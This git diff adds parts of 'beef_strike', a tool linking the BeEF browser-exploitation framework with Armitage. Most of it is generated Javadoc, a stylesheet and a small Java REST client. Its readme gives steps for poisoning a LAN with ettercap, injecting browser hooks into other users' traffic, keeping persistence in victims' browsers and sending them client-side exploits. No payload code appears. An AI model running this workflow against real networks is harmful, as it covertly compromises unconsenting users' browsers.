+ + + + diff --git a/beef_strike/javadoc/com/eyesopencrew/class-use/Commands.html b/beef_strike/javadoc/com/eyesopencrew/class-use/Commands.html new file mode 100644 index 0000000..3d1ed46 --- /dev/null +++ b/beef_strike/javadoc/com/eyesopencrew/class-use/Commands.html @@ -0,0 +1,144 @@ + + + + + + +Uses of Class com.eyesopencrew.Commands + + + + + + + +
+ + + + + +
+ + +
+

Uses of Class
com.eyesopencrew.Commands

+
+
+ +
+ +
+ + + + + +
+ + + + diff --git a/beef_strike/javadoc/com/eyesopencrew/class-use/OfflineClass.html b/beef_strike/javadoc/com/eyesopencrew/class-use/OfflineClass.html new file mode 100644 index 0000000..0ed2da6 --- /dev/null +++ b/beef_strike/javadoc/com/eyesopencrew/class-use/OfflineClass.html @@ -0,0 +1,114 @@ + + + + + + +Uses of Class com.eyesopencrew.OfflineClass + + + + + + + +
+ + + + + +
+ + +
+

Uses of Class
com.eyesopencrew.OfflineClass

+
+
No usage of com.eyesopencrew.OfflineClass
+ +
+ + + + + +
+ + + + diff --git a/beef_strike/javadoc/com/eyesopencrew/class-use/OnlineClass.html b/beef_strike/javadoc/com/eyesopencrew/class-use/OnlineClass.html new file mode 100644 index 0000000..b7532e3 --- /dev/null +++ b/beef_strike/javadoc/com/eyesopencrew/class-use/OnlineClass.html @@ -0,0 +1,114 @@ + + + + + + +Uses of Class com.eyesopencrew.OnlineClass + + + + + + + +
+ + + + + +
+ + +
+

Uses of Class
com.eyesopencrew.OnlineClass

+
+
No usage of com.eyesopencrew.OnlineClass
+ +
+ + + + + +
+ + + + diff --git a/beef_strike/javadoc/com/eyesopencrew/class-use/Zombies.html b/beef_strike/javadoc/com/eyesopencrew/class-use/Zombies.html new file mode 100644 index 0000000..514aadf --- /dev/null +++ b/beef_strike/javadoc/com/eyesopencrew/class-use/Zombies.html @@ -0,0 +1,153 @@ + + + + + + +Uses of Class com.eyesopencrew.Zombies + + + + + + + +
+ + + + + +
+ + +
+

Uses of Class
com.eyesopencrew.Zombies

+
+
+ +
+ +
+ + + + + +
+ + + + diff --git a/beef_strike/javadoc/com/eyesopencrew/package-frame.html b/beef_strike/javadoc/com/eyesopencrew/package-frame.html new file mode 100644 index 0000000..677afaa --- /dev/null +++ b/beef_strike/javadoc/com/eyesopencrew/package-frame.html @@ -0,0 +1,25 @@ + + + + + + +com.eyesopencrew + + + + +

com.eyesopencrew

+
+

Classes

+ +
+ + diff --git a/beef_strike/javadoc/com/eyesopencrew/package-summary.html b/beef_strike/javadoc/com/eyesopencrew/package-summary.html new file mode 100644 index 0000000..f42608f --- /dev/null +++ b/beef_strike/javadoc/com/eyesopencrew/package-summary.html @@ -0,0 +1,152 @@ + + + + + + +com.eyesopencrew + + + + + + + +
+ + + + + +
+ + +
+

Package com.eyesopencrew

+
+
+ +
+ +
+ + + + + +
+ + + + diff --git a/beef_strike/javadoc/com/eyesopencrew/package-tree.html b/beef_strike/javadoc/com/eyesopencrew/package-tree.html new file mode 100644 index 0000000..78ae4a2 --- /dev/null +++ b/beef_strike/javadoc/com/eyesopencrew/package-tree.html @@ -0,0 +1,128 @@ + + + + + + +com.eyesopencrew Class Hierarchy + + + + + + + +
+ + + + + +
+ + +
+

Hierarchy For Package com.eyesopencrew

+
+
+

Class Hierarchy

+ +
+ +
+ + + + + +
+ + + + diff --git a/beef_strike/javadoc/com/eyesopencrew/package-use.html b/beef_strike/javadoc/com/eyesopencrew/package-use.html new file mode 100644 index 0000000..5f58d39 --- /dev/null +++ b/beef_strike/javadoc/com/eyesopencrew/package-use.html @@ -0,0 +1,135 @@ + + + + + + +Uses of Package com.eyesopencrew + + + + + + + +
+ + + + + +
+ + +
+

Uses of Package
com.eyesopencrew

+
+
+ +
+ +
+ + + + + +
+ + + + diff --git a/beef_strike/javadoc/constant-values.html b/beef_strike/javadoc/constant-values.html new file mode 100644 index 0000000..1e1d88c --- /dev/null +++ b/beef_strike/javadoc/constant-values.html @@ -0,0 +1,114 @@ + + + + + + +Constant Field Values + + + + + + + +
+ + + + + +
+ + +
+

Constant Field Values

+

Contents

+
+ +
+ + + + + +
+ + + + diff --git a/beef_strike/javadoc/deprecated-list.html b/beef_strike/javadoc/deprecated-list.html new file mode 100644 index 0000000..ebf8343 --- /dev/null +++ b/beef_strike/javadoc/deprecated-list.html @@ -0,0 +1,114 @@ + + + + + + +Deprecated List + + + + + + + +
+ + + + + +
+ + +
+

Deprecated API

+

Contents

+
+ +
+ + + + + +
+ + + + diff --git a/beef_strike/javadoc/help-doc.html b/beef_strike/javadoc/help-doc.html new file mode 100644 index 0000000..d14c15f --- /dev/null +++ b/beef_strike/javadoc/help-doc.html @@ -0,0 +1,215 @@ + + + + + + +API Help + + + + + + + +
+ + + + + +
+ + +
+

How This API Document Is Organized

+
This API (Application Programming Interface) document has pages corresponding to the items in the navigation bar, described as follows.
+
+
+ +This help file applies to API documentation generated using the standard doclet.
+ +
+ + + + + +
+ + + + diff --git a/beef_strike/javadoc/index-files/index-1.html b/beef_strike/javadoc/index-files/index-1.html new file mode 100644 index 0000000..2770e34 --- /dev/null +++ b/beef_strike/javadoc/index-files/index-1.html @@ -0,0 +1,125 @@ + + + + + + +B-Index + + + + + + + +
+ + + + + +
+ + +
B C E G O S Z  + + +

B

+
+
BeefGetRequest(String) - Static method in class com.eyesopencrew.BeefRequester
+
 
+
BeefPostRequest(String) - Static method in class com.eyesopencrew.BeefRequester
+
 
+
BeefRequester - Class in com.eyesopencrew
+
 
+
BeefRequester() - Constructor for class com.eyesopencrew.BeefRequester
+
 
+
+B C E G O S Z 
+ +
+ + + + + +
+ + + + diff --git a/beef_strike/javadoc/index-files/index-2.html b/beef_strike/javadoc/index-files/index-2.html new file mode 100644 index 0000000..8794d82 --- /dev/null +++ b/beef_strike/javadoc/index-files/index-2.html @@ -0,0 +1,127 @@ + + + + + + +C-Index + + + + + + + +
+ + + + + +
+ + +
B C E G O S Z  + + +

C

+
+
com.eyesopencrew - package com.eyesopencrew
+
 
+
CommandList - Class in com.eyesopencrew
+
 
+
CommandList() - Constructor for class com.eyesopencrew.CommandList
+
 
+
Commands - Class in com.eyesopencrew
+
 
+
Commands() - Constructor for class com.eyesopencrew.Commands
+
 
+
+B C E G O S Z 
+ +
+ + + + + +
+ + + + diff --git a/beef_strike/javadoc/index-files/index-3.html b/beef_strike/javadoc/index-files/index-3.html new file mode 100644 index 0000000..dc05847 --- /dev/null +++ b/beef_strike/javadoc/index-files/index-3.html @@ -0,0 +1,135 @@ + + + + + + +E-Index + + + + + + + +
+ + + + + +
+ + +
B C E G O S Z  + + +

E

+
+
extractcmdData(String, int, String) - Static method in class com.eyesopencrew.CommandList
+
 
+
extractCommands(String) - Static method in class com.eyesopencrew.CommandList
+
 
+
extractOffline(String) - Static method in class com.eyesopencrew.OfflineClass
+
 
+
extractOnecmd(String, int) - Static method in class com.eyesopencrew.CommandList
+
 
+
extractOneZombie(String, int) - Static method in class com.eyesopencrew.OfflineClass
+
 
+
extractOneZombie(String, int) - Static method in class com.eyesopencrew.OnlineClass
+
 
+
extractOnline(String) - Static method in class com.eyesopencrew.OnlineClass
+
 
+
extractZombieData(String, int, String) - Static method in class com.eyesopencrew.OfflineClass
+
 
+
extractZombieData(String, int, String) - Static method in class com.eyesopencrew.OnlineClass
+
 
+
+B C E G O S Z 
+ +
+ + + + + +
+ + + + diff --git a/beef_strike/javadoc/index-files/index-4.html b/beef_strike/javadoc/index-files/index-4.html new file mode 100644 index 0000000..dda864e --- /dev/null +++ b/beef_strike/javadoc/index-files/index-4.html @@ -0,0 +1,147 @@ + + + + + + +G-Index + + + + + + + +
+ + + + + +
+ + +
B C E G O S Z  + + +

G

+
+
getCategory() - Method in class com.eyesopencrew.Commands
+
 
+
getDetails() - Static method in class com.eyesopencrew.BeefRequester
+
 
+
getDomain() - Method in class com.eyesopencrew.Zombies
+
 
+
getHooks() - Static method in class com.eyesopencrew.BeefRequester
+
 
+
getId() - Method in class com.eyesopencrew.Commands
+
 
+
getId() - Method in class com.eyesopencrew.Zombies
+
 
+
getIp() - Method in class com.eyesopencrew.Zombies
+
 
+
getName() - Method in class com.eyesopencrew.Commands
+
 
+
getName() - Method in class com.eyesopencrew.Zombies
+
 
+
getOs() - Method in class com.eyesopencrew.Zombies
+
 
+
getPage_uri() - Method in class com.eyesopencrew.Zombies
+
 
+
getPlatform() - Method in class com.eyesopencrew.Zombies
+
 
+
getPort() - Method in class com.eyesopencrew.Zombies
+
 
+
getSession() - Method in class com.eyesopencrew.Zombies
+
 
+
getVersion() - Method in class com.eyesopencrew.Zombies
+
 
+
+B C E G O S Z 
+ +
+ + + + + +
+ + + + diff --git a/beef_strike/javadoc/index-files/index-5.html b/beef_strike/javadoc/index-files/index-5.html new file mode 100644 index 0000000..b15fc60 --- /dev/null +++ b/beef_strike/javadoc/index-files/index-5.html @@ -0,0 +1,125 @@ + + + + + + +O-Index + + + + + + + +
+ + + + + +
+ + +
B C E G O S Z  + + +

O

+
+
OfflineClass - Class in com.eyesopencrew
+
 
+
OfflineClass() - Constructor for class com.eyesopencrew.OfflineClass
+
 
+
OnlineClass - Class in com.eyesopencrew
+
 
+
OnlineClass() - Constructor for class com.eyesopencrew.OnlineClass
+
 
+
+B C E G O S Z 
+ +
+ + + + + +
+ + + + diff --git a/beef_strike/javadoc/index-files/index-6.html b/beef_strike/javadoc/index-files/index-6.html new file mode 100644 index 0000000..4857190 --- /dev/null +++ b/beef_strike/javadoc/index-files/index-6.html @@ -0,0 +1,147 @@ + + + + + + +S-Index + + + + + + + +
+ + + + + +
+ + +
B C E G O S Z  + + +

S

+
+
setCategory(String) - Method in class com.eyesopencrew.Commands
+
 
+
setDetails(String) - Static method in class com.eyesopencrew.BeefRequester
+
 
+
setDomain(String) - Method in class com.eyesopencrew.Zombies
+
 
+
setHooks(String) - Static method in class com.eyesopencrew.BeefRequester
+
 
+
setId(String) - Method in class com.eyesopencrew.Commands
+
 
+
setId(String) - Method in class com.eyesopencrew.Zombies
+
 
+
setIp(String) - Method in class com.eyesopencrew.Zombies
+
 
+
setName(String) - Method in class com.eyesopencrew.Commands
+
 
+
setName(String) - Method in class com.eyesopencrew.Zombies
+
 
+
setOs(String) - Method in class com.eyesopencrew.Zombies
+
 
+
setPage_uri(String) - Method in class com.eyesopencrew.Zombies
+
 
+
setPlatform(String) - Method in class com.eyesopencrew.Zombies
+
 
+
setPort(String) - Method in class com.eyesopencrew.Zombies
+
 
+
setSession(String) - Method in class com.eyesopencrew.Zombies
+
 
+
setVersion(String) - Method in class com.eyesopencrew.Zombies
+
 
+
+B C E G O S Z 
+ +
+ + + + + +
+ + + + diff --git a/beef_strike/javadoc/index-files/index-7.html b/beef_strike/javadoc/index-files/index-7.html new file mode 100644 index 0000000..df2779c --- /dev/null +++ b/beef_strike/javadoc/index-files/index-7.html @@ -0,0 +1,121 @@ + + + + + + +Z-Index + + + + + + + +
+ + + + + +
+ + +
B C E G O S Z  + + +

Z

+
+
Zombies - Class in com.eyesopencrew
+
 
+
Zombies() - Constructor for class com.eyesopencrew.Zombies
+
 
+
+B C E G O S Z 
+ +
+ + + + + +
+ + + + diff --git a/beef_strike/javadoc/index.html b/beef_strike/javadoc/index.html new file mode 100644 index 0000000..6aa3807 --- /dev/null +++ b/beef_strike/javadoc/index.html @@ -0,0 +1,31 @@ + + + + + + +Generated Documentation (Untitled) + + + + + + +<noscript> +<div>JavaScript is disabled on your browser.</div> +</noscript> +<h2>Frame Alert</h2> +<p>This document is designed to be viewed using the frames feature. If you see this message, you are using a non-frame-capable web client. Link to <a href="com/eyesopencrew/package-summary.html">Non-frame version</a>.</p> + + + diff --git a/beef_strike/javadoc/overview-tree.html b/beef_strike/javadoc/overview-tree.html new file mode 100644 index 0000000..9d30969 --- /dev/null +++ b/beef_strike/javadoc/overview-tree.html @@ -0,0 +1,132 @@ + + + + + + +Class Hierarchy + + + + + + + +
+ + + + + +
+ + +
+

Hierarchy For All Packages

+Package Hierarchies: + +
+
+

Class Hierarchy

+ +
+ +
+ + + + + +
+ + + + diff --git a/beef_strike/javadoc/package-list b/beef_strike/javadoc/package-list new file mode 100644 index 0000000..715dd41 --- /dev/null +++ b/beef_strike/javadoc/package-list @@ -0,0 +1 @@ +com.eyesopencrew diff --git a/beef_strike/javadoc/resources/background.gif b/beef_strike/javadoc/resources/background.gif new file mode 100644 index 0000000..f471940 Binary files /dev/null and b/beef_strike/javadoc/resources/background.gif differ diff --git a/beef_strike/javadoc/resources/tab.gif b/beef_strike/javadoc/resources/tab.gif new file mode 100644 index 0000000..1a73a83 Binary files /dev/null and b/beef_strike/javadoc/resources/tab.gif differ diff --git a/beef_strike/javadoc/resources/titlebar.gif b/beef_strike/javadoc/resources/titlebar.gif new file mode 100644 index 0000000..17443b3 Binary files /dev/null and b/beef_strike/javadoc/resources/titlebar.gif differ diff --git a/beef_strike/javadoc/resources/titlebar_end.gif b/beef_strike/javadoc/resources/titlebar_end.gif new file mode 100644 index 0000000..3ad78d4 Binary files /dev/null and b/beef_strike/javadoc/resources/titlebar_end.gif differ diff --git a/beef_strike/javadoc/stylesheet.css b/beef_strike/javadoc/stylesheet.css new file mode 100644 index 0000000..0aeaa97 --- /dev/null +++ b/beef_strike/javadoc/stylesheet.css @@ -0,0 +1,474 @@ +/* Javadoc style sheet */ +/* +Overall document style +*/ +body { + background-color:#ffffff; + color:#353833; + font-family:Arial, Helvetica, sans-serif; + font-size:76%; + margin:0; +} +a:link, a:visited { + text-decoration:none; + color:#4c6b87; +} +a:hover, a:focus { + text-decoration:none; + color:#bb7a2a; +} +a:active { + text-decoration:none; + color:#4c6b87; +} +a[name] { + color:#353833; +} +a[name]:hover { + text-decoration:none; + color:#353833; +} +pre { + font-size:1.3em; +} +h1 { + font-size:1.8em; +} +h2 { + font-size:1.5em; +} +h3 { + font-size:1.4em; +} +h4 { + font-size:1.3em; +} +h5 { + font-size:1.2em; +} +h6 { + font-size:1.1em; +} +ul { + list-style-type:disc; +} +code, tt { + font-size:1.2em; +} +dt code { + font-size:1.2em; +} +table tr td dt code { + font-size:1.2em; + vertical-align:top; +} +sup { + font-size:.6em; +} +/* +Document title and Copyright styles +*/ +.clear { + clear:both; + height:0px; + overflow:hidden; +} +.aboutLanguage { + float:right; + padding:0px 21px; + font-size:.8em; + z-index:200; + margin-top:-7px; +} +.legalCopy { + margin-left:.5em; +} +.bar a, .bar a:link, .bar a:visited, .bar a:active { + color:#FFFFFF; + text-decoration:none; +} +.bar a:hover, .bar a:focus { + color:#bb7a2a; +} +.tab { + background-color:#0066FF; + background-image:url(resources/titlebar.gif); + background-position:left top; + background-repeat:no-repeat; + color:#ffffff; + padding:8px; + width:5em; + font-weight:bold; +} +/* +Navigation bar styles +*/ +.bar { + background-image:url(resources/background.gif); + background-repeat:repeat-x; + color:#FFFFFF; + padding:.8em .5em .4em .8em; + height:auto;/*height:1.8em;*/ + font-size:1em; + margin:0; +} +.topNav { + background-image:url(resources/background.gif); + background-repeat:repeat-x; + color:#FFFFFF; + float:left; + padding:0; + width:100%; + clear:right; + height:2.8em; + padding-top:10px; + overflow:hidden; +} +.bottomNav { + margin-top:10px; + background-image:url(resources/background.gif); + background-repeat:repeat-x; + color:#FFFFFF; + float:left; + padding:0; + width:100%; + clear:right; + height:2.8em; + padding-top:10px; + overflow:hidden; +} +.subNav { + background-color:#dee3e9; + border-bottom:1px solid #9eadc0; + float:left; + width:100%; + overflow:hidden; +} +.subNav div { + clear:left; + float:left; + padding:0 0 5px 6px; +} +ul.navList, ul.subNavList { + float:left; + margin:0 25px 0 0; + padding:0; +} +ul.navList li{ + list-style:none; + float:left; + padding:3px 6px; +} +ul.subNavList li{ + list-style:none; + float:left; + font-size:90%; +} +.topNav a:link, .topNav a:active, .topNav a:visited, .bottomNav a:link, .bottomNav a:active, .bottomNav a:visited { + color:#FFFFFF; + text-decoration:none; +} +.topNav a:hover, .bottomNav a:hover { + text-decoration:none; + color:#bb7a2a; +} +.navBarCell1Rev { + background-image:url(resources/tab.gif); + background-color:#a88834; + color:#FFFFFF; + margin: auto 5px; + border:1px solid #c9aa44; +} +/* +Page header and footer styles +*/ +.header, .footer { + clear:both; + margin:0 20px; + padding:5px 0 0 0; +} +.indexHeader { + margin:10px; + position:relative; +} +.indexHeader h1 { + font-size:1.3em; +} +.title { + color:#2c4557; + margin:10px 0; +} +.subTitle { + margin:5px 0 0 0; +} +.header ul { + margin:0 0 25px 0; + padding:0; +} +.footer ul { + margin:20px 0 5px 0; +} +.header ul li, .footer ul li { + list-style:none; + font-size:1.2em; +} +/* +Heading styles +*/ +div.details ul.blockList ul.blockList ul.blockList li.blockList h4, div.details ul.blockList ul.blockList ul.blockListLast li.blockList h4 { + background-color:#dee3e9; + border-top:1px solid #9eadc0; + border-bottom:1px solid #9eadc0; + margin:0 0 6px -8px; + padding:2px 5px; +} +ul.blockList ul.blockList ul.blockList li.blockList h3 { + background-color:#dee3e9; + border-top:1px solid #9eadc0; + border-bottom:1px solid #9eadc0; + margin:0 0 6px -8px; + padding:2px 5px; +} +ul.blockList ul.blockList li.blockList h3 { + padding:0; + margin:15px 0; +} +ul.blockList li.blockList h2 { + padding:0px 0 20px 0; +} +/* +Page layout container styles +*/ +.contentContainer, .sourceContainer, .classUseContainer, .serializedFormContainer, .constantValuesContainer { + clear:both; + padding:10px 20px; + position:relative; +} +.indexContainer { + margin:10px; + position:relative; + font-size:1.0em; +} +.indexContainer h2 { + font-size:1.1em; + padding:0 0 3px 0; +} +.indexContainer ul { + margin:0; + padding:0; +} +.indexContainer ul li { + list-style:none; +} +.contentContainer .description dl dt, .contentContainer .details dl dt, .serializedFormContainer dl dt { + font-size:1.1em; + font-weight:bold; + margin:10px 0 0 0; + color:#4E4E4E; +} +.contentContainer .description dl dd, .contentContainer .details dl dd, .serializedFormContainer dl dd { + margin:10px 0 10px 20px; +} +.serializedFormContainer dl.nameValue dt { + margin-left:1px; + font-size:1.1em; + display:inline; + font-weight:bold; +} +.serializedFormContainer dl.nameValue dd { + margin:0 0 0 1px; + font-size:1.1em; + display:inline; +} +/* +List styles +*/ +ul.horizontal li { + display:inline; + font-size:0.9em; +} +ul.inheritance { + margin:0; + padding:0; +} +ul.inheritance li { + display:inline; + list-style:none; +} +ul.inheritance li ul.inheritance { + margin-left:15px; + padding-left:15px; + padding-top:1px; +} +ul.blockList, ul.blockListLast { + margin:10px 0 10px 0; + padding:0; +} +ul.blockList li.blockList, ul.blockListLast li.blockList { + list-style:none; + margin-bottom:25px; +} +ul.blockList ul.blockList li.blockList, ul.blockList ul.blockListLast li.blockList { + padding:0px 20px 5px 10px; + border:1px solid #9eadc0; + background-color:#f9f9f9; +} +ul.blockList ul.blockList ul.blockList li.blockList, ul.blockList ul.blockList ul.blockListLast li.blockList { + padding:0 0 5px 8px; + background-color:#ffffff; + border:1px solid #9eadc0; + border-top:none; +} +ul.blockList ul.blockList ul.blockList ul.blockList li.blockList { + margin-left:0; + padding-left:0; + padding-bottom:15px; + border:none; + border-bottom:1px solid #9eadc0; +} +ul.blockList ul.blockList ul.blockList ul.blockList li.blockListLast { + list-style:none; + border-bottom:none; + padding-bottom:0; +} +table tr td dl, table tr td dl dt, table tr td dl dd { + margin-top:0; + margin-bottom:1px; +} +/* +Table styles +*/ +.contentContainer table, .classUseContainer table, .constantValuesContainer table { + border-bottom:1px solid #9eadc0; + width:100%; +} +.contentContainer ul li table, .classUseContainer ul li table, .constantValuesContainer ul li table { + width:100%; +} +.contentContainer .description table, .contentContainer .details table { + border-bottom:none; +} +.contentContainer ul li table th.colOne, .contentContainer ul li table th.colFirst, .contentContainer ul li table th.colLast, .classUseContainer ul li table th, .constantValuesContainer ul li table th, .contentContainer ul li table td.colOne, .contentContainer ul li table td.colFirst, .contentContainer ul li table td.colLast, .classUseContainer ul li table td, .constantValuesContainer ul li table td{ + vertical-align:top; + padding-right:20px; +} +.contentContainer ul li table th.colLast, .classUseContainer ul li table th.colLast,.constantValuesContainer ul li table th.colLast, +.contentContainer ul li table td.colLast, .classUseContainer ul li table td.colLast,.constantValuesContainer ul li table td.colLast, +.contentContainer ul li table th.colOne, .classUseContainer ul li table th.colOne, +.contentContainer ul li table td.colOne, .classUseContainer ul li table td.colOne { + padding-right:3px; +} +.overviewSummary caption, .packageSummary caption, .contentContainer ul.blockList li.blockList caption, .summary caption, .classUseContainer caption, .constantValuesContainer caption { + position:relative; + text-align:left; + background-repeat:no-repeat; + color:#FFFFFF; + font-weight:bold; + clear:none; + overflow:hidden; + padding:0px; + margin:0px; +} +caption a:link, caption a:hover, caption a:active, caption a:visited { + color:#FFFFFF; +} +.overviewSummary caption span, .packageSummary caption span, .contentContainer ul.blockList li.blockList caption span, .summary caption span, .classUseContainer caption span, .constantValuesContainer caption span { + white-space:nowrap; + padding-top:8px; + padding-left:8px; + display:block; + float:left; + background-image:url(resources/titlebar.gif); + height:18px; +} +.overviewSummary .tabEnd, .packageSummary .tabEnd, .contentContainer ul.blockList li.blockList .tabEnd, .summary .tabEnd, .classUseContainer .tabEnd, .constantValuesContainer .tabEnd { + width:10px; + background-image:url(resources/titlebar_end.gif); + background-repeat:no-repeat; + background-position:top right; + position:relative; + float:left; +} +ul.blockList ul.blockList li.blockList table { + margin:0 0 12px 0px; + width:100%; +} +.tableSubHeadingColor { + background-color: #EEEEFF; +} +.altColor { + background-color:#eeeeef; +} +.rowColor { + background-color:#ffffff; +} +.overviewSummary td, .packageSummary td, .contentContainer ul.blockList li.blockList td, .summary td, .classUseContainer td, .constantValuesContainer td { + text-align:left; + padding:3px 3px 3px 7px; +} +th.colFirst, th.colLast, th.colOne, .constantValuesContainer th { + background:#dee3e9; + border-top:1px solid #9eadc0; + border-bottom:1px solid #9eadc0; + text-align:left; + padding:3px 3px 3px 7px; +} +td.colOne a:link, td.colOne a:active, td.colOne a:visited, td.colOne a:hover, td.colFirst a:link, td.colFirst a:active, td.colFirst a:visited, td.colFirst a:hover, td.colLast a:link, td.colLast a:active, td.colLast a:visited, td.colLast a:hover, .constantValuesContainer td a:link, .constantValuesContainer td a:active, .constantValuesContainer td a:visited, .constantValuesContainer td a:hover { + font-weight:bold; +} +td.colFirst, th.colFirst { + border-left:1px solid #9eadc0; + white-space:nowrap; +} +td.colLast, th.colLast { + border-right:1px solid #9eadc0; +} +td.colOne, th.colOne { + border-right:1px solid #9eadc0; + border-left:1px solid #9eadc0; +} +table.overviewSummary { + padding:0px; + margin-left:0px; +} +table.overviewSummary td.colFirst, table.overviewSummary th.colFirst, +table.overviewSummary td.colOne, table.overviewSummary th.colOne { + width:25%; + vertical-align:middle; +} +table.packageSummary td.colFirst, table.overviewSummary th.colFirst { + width:25%; + vertical-align:middle; +} +/* +Content styles +*/ +.description pre { + margin-top:0; +} +.deprecatedContent { + margin:0; + padding:10px 0; +} +.docSummary { + padding:0; +} +/* +Formatting effect styles +*/ +.sourceLineNo { + color:green; + padding:0 30px 0 0; +} +h1.hidden { + visibility:hidden; + overflow:hidden; + font-size:.9em; +} +.block { + display:block; + margin:3px 0 0 0; +} +.strong { + font-weight:bold; +} diff --git a/beef_strike/lib/Read_this.txt b/beef_strike/lib/Read_this.txt new file mode 100644 index 0000000..c4b1f3a --- /dev/null +++ b/beef_strike/lib/Read_this.txt @@ -0,0 +1,24 @@ +Beef_Strike use json-lib to parse JSON string you can download the binaries and put inside on this folder + +http://sourceforge.net/projects/json-lib/files/ + +Json-lib requires (at least) the following dependencies in your classpath: + +jakarta commons-lang 2.5 +jakarta commons-beanutils 1.8.0 +jakarta commons-collections 3.2.1 +jakarta commons-logging 1.1.1 +ezmorph 1.0.6 + +-------------------------------------------------------------------------------------------------------------+ +Can be download here: + +http://mirror.sdunix.com/apache//commons/beanutils/binaries/commons-beanutils-1.8.3-bin.zip +http://apache.petsads.us//commons/io/binaries/commons-io-2.4-bin.zip +ftp://apache.cs.utah.edu/apache.org//commons/collections/binaries/commons-collections4-4.0-alpha1-bin.zip +http://mirror.cc.columbia.edu/pub/software/apache//commons/logging/binaries/commons-logging-1.1.3-bin.zip +http://sourceforge.net/projects/ezmorph/ + +icons +http://speckyboy.com/2010/08/09/30-fresh-and-free-icon-sets-for-designers-and-developers/ + diff --git a/beef_strike/opera_hk.png b/beef_strike/opera_hk.png new file mode 100644 index 0000000..bfb12f8 Binary files /dev/null and b/beef_strike/opera_hk.png differ diff --git a/beef_strike/readme.txt b/beef_strike/readme.txt index ba1167a..831a295 100644 --- a/beef_strike/readme.txt +++ b/beef_strike/readme.txt @@ -1,7 +1,67 @@ -For use this script you need to download and install -BeEF Metasploit Plugin from Wade Alcorn github repository. ++--------------------------------------------+ ++ BeEF and Armitage integration + ++--------------------------------------------+ The purpose of this script is to automate the sending of some commands of BeEF_xss and allow to control the zombies directly through the intuitive armitage's interface. The ultimate goal would be to work on armitage as if you was in the web panel of beef - +Beef_Strike can help you write script for automatic and targeted browser's exploitation. + + +- WHAT IT DO - +* auto load metasploit's beef plugin +* connect armitage to the beef's server +* perform MiTM with the help of ettercap +* inject beef hooks all over the LAN (the LAN's users browse website and are automatically hooked) +* Auto import all the new zombies inside metasploit database +* auto perform MiTB attack to ensure persistence on the victim's browser. +* Autorun beef's commands again victim browser (reconnaissance scripts) + + +- HOW TO USE - + +For use this script you need to +1. Download and install + BeEF Metasploit Plugin from Christian Frichot github repository. + https://github.com/xntrik/beefmetasploitplugin + +2. Download and install all libraries listed on the read_this file located on the lib folder + And modify the "import" lines on beef_strike script to point to the right path. + +3. The ettercap command must be able to launch ettercap installation. [That is the case in Backtrack & Kali]. + +4. Launch Beef xss server and Armitage + +5. Load beef_strike.cna cortana script. A sub new menu will appear on the attack menu + +6. Connect to your Beef server instance and put your RESTful API key. + +6. Begin the zombies recruitment. You can use xss exploitation or ettercap method. In this folder you will find the infect.filter file. + This is the default file for html injection. You must change it and point to your beef server. + The default value is the localhost address and port 3000 the default port of beef server + Have fun with ettercap filter: http://www.irongeek.com/i.php?page=security/ettercapfilter + +7. Choose the interface to poison and let beef_strike do the job + +8. Once a zombie appear, many beef's commands (and you can add) are automatically launch again victim. + You have profiling the victim browser (you can see result on zombies menu item). + Now feel free to use client-side exploits and send to your zombies through beef invisible iframe module. + + See ? easy ! +----------------------------------------------------------------------------------------------------------------+ +Tested on Backtrack5r3 +video demo: http://www.youtube.com/watch?v=YhKhkYzq2s8&feature=share&list=UU7_xeQ_4d8jAMtxdJgikjlA +- + +- LIMITATION - + The result of some command can only be see on Beef web ui + + + +- TO CAME - +* mitmproxy html injection method +* DroNe script, a script for automatic and targeted browsser's exploitation based on their very specific profiles. + + + +Work in progress... diff --git a/beef_strike/safari_hk.png b/beef_strike/safari_hk.png new file mode 100644 index 0000000..2854471 Binary files /dev/null and b/beef_strike/safari_hk.png differ diff --git a/beef_strike/screenshot/screenshot1.png b/beef_strike/screenshot/screenshot1.png new file mode 100644 index 0000000..84dfdf4 Binary files /dev/null and b/beef_strike/screenshot/screenshot1.png differ diff --git a/beef_strike/src/com/eyesopencrew/BeefRequester.java b/beef_strike/src/com/eyesopencrew/BeefRequester.java new file mode 100644 index 0000000..69a8e11 --- /dev/null +++ b/beef_strike/src/com/eyesopencrew/BeefRequester.java @@ -0,0 +1,111 @@ +/* + * To change this template, choose Tools | Templates + * and open the template in the editor. + */ + +package com.eyesopencrew; + +/** + * @author Beny Green - gacksecurity.blogspot.com + * + * EyesOpenCrew + */ + +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStreamReader; +import java.net.HttpURLConnection; +import java.net.MalformedURLException; +import java.net.URL; + +/** + * + * @author Administrateur + */ +public class BeefRequester { + private static String hooks; + private static String details; + + private static String beefConnect(String url, String login, String pass){ + String key = null; + return key;} + + /** + * + * @param beefUrl + * @return + */ + public static String BeefGetRequest(String beefUrl) { + + try { + + URL url = new URL(beefUrl); + HttpURLConnection conn = (HttpURLConnection) url.openConnection(); + conn.setRequestMethod("GET"); + conn.setRequestProperty("Accept", "application/json"); + + if (conn.getResponseCode() != 200) { + throw new RuntimeException("Failed : HTTP error code : " + conn.getResponseCode()); + } + + BufferedReader br = new BufferedReader(new InputStreamReader( + (conn.getInputStream()))); + + String output; + //String t = br.readLine(); + while ((output = br.readLine()) != null) { + + //System.out.println(output); + BeefRequester.setHooks(output); + } + + conn.disconnect(); + + } catch (MalformedURLException e) { + + e.printStackTrace(); + } catch (IOException e) { + + e.printStackTrace(); + + } + return hooks; + } + + public static String BeefPostRequest(String beefUrl){ + String result = null; // Not implemented in fact, Curl is good. + return result ;} + + /** + * + * @return + */ + public static String getHooks() { + return hooks; + } + + /** + * + * @param hooks + */ + public static void setHooks(String hooks) { + BeefRequester.hooks = hooks; + } + + /** + * + * @return + */ + public static String getDetails() { + return details; + } + + /** + * + * @param details + */ + public static void setDetails(String details) { + BeefRequester.details = details; + } + + } diff --git a/beef_strike/src/com/eyesopencrew/CommandList.java b/beef_strike/src/com/eyesopencrew/CommandList.java new file mode 100644 index 0000000..24715e7 --- /dev/null +++ b/beef_strike/src/com/eyesopencrew/CommandList.java @@ -0,0 +1,63 @@ +package com.eyesopencrew; + +import net.sf.json.JSONException; +import net.sf.json.JSONObject; +import net.sf.json.JSONSerializer; + +/** + * @author Beny Green - gacksecurity.blogspot.com + * + * EyesOpenCrew + */ +public class CommandList { +//List of Commandes modules of BeEF + /** + * + * @param jsontxt + * @return cmd[] + * - Extract commands from Json representation. + * + */ + public static Commands[] extractCommands(String jsontxt){ + + JSONObject jsonCommandlist = (JSONObject) JSONSerializer.toJSON( jsontxt ); + //JSONObject Offline = json.getJSONObject("hooked-browsers").getJSONObject("offline"); + Commands Commandslist[] = new Commands[jsonCommandlist.size()]; +if (jsonCommandlist.isEmpty()){ 